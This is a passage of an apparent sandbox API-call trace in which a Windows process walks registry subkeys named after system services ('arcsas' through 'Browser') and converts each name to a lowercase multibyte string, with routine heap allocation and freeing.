[0260.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0260.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0260.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0260.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0260.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0260.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0260.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0260.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0260.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0260.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1bf8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0260.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0260.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0260.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0260.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0260.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0260.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0260.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f18e0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0260.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0260.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0260.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0260.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0260.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0260.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0260.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0260.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0260.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.797] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0260.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0260.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.844] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0260.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0260.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.844] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0260.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0260.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.845] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0260.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0260.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.845] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0260.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0260.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.845] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0260.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0260.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.846] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.846] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.846] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0260.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0260.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.846] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.846] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.846] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.846] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0260.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0260.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.846] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.846] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.846] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.846] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0260.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0260.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.846] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.846] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.846] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.846] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0260.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 